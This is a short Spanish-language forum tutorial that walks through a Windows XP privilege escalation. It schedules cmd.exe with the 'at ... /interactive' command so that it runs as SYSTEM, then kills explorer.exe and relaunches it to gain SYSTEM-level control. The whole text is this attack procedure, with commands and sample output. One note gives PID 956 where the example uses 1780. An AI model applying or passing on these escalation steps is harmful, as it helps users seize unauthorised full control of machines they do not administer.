Con esto podras modificar archivos del sistema, configurar cualquier cuenta, todos los permisos, etc..., la cuenta system es una cuenta superior a la de Administrador, pero tener cuidado que tocais con ella porque se pierden las fronteras.


[Tienes que estar registrado y conectado para ver esa imagen]


1--/ Vamos a ejecutar y escribimos CMD

2--/ En la consola de comandos escribimos:

at 00:00 /interactive CMD.exe

*--/ NOTA: 00:00 representa la hora de inicio, poner unos minutos despues para su ejecución.

3--/ Una vez inicia el nuevo CMD desde WINDOWS/System32> escribimos lo siguiente en él:

tasklist | findstr explorer.exe

*--/ NOTA: Nos saldra algo parecido a esto:


Nombre de imagen PID Nombre de sesión Núm. de Uso de memor
========================= ====== ================ ======== ============
explorer.exe 1780 Console 0 17.456 KB

Donde explorer.exe es el proceso al que llamamos y 1780 el Pid (Identifiacdor de Proceso).


4--/ Ahora escribimos la siguiente línea:

taskkill /F /pid 1780


*--/ NOTA: Esta linea indica que se va a forzar el cierre del proceso con identificador 956
*--/ NOTA: Recordad que usamos 1780 como ejemplo del Pid

5--/ Despues volvemos a ejecutar el explorer.exe con la siguiente linea en la consola de comandos:

explorer.exe

6--/ Con este procedimiento se ha procedido al escalado de privilegios en un sistema WXP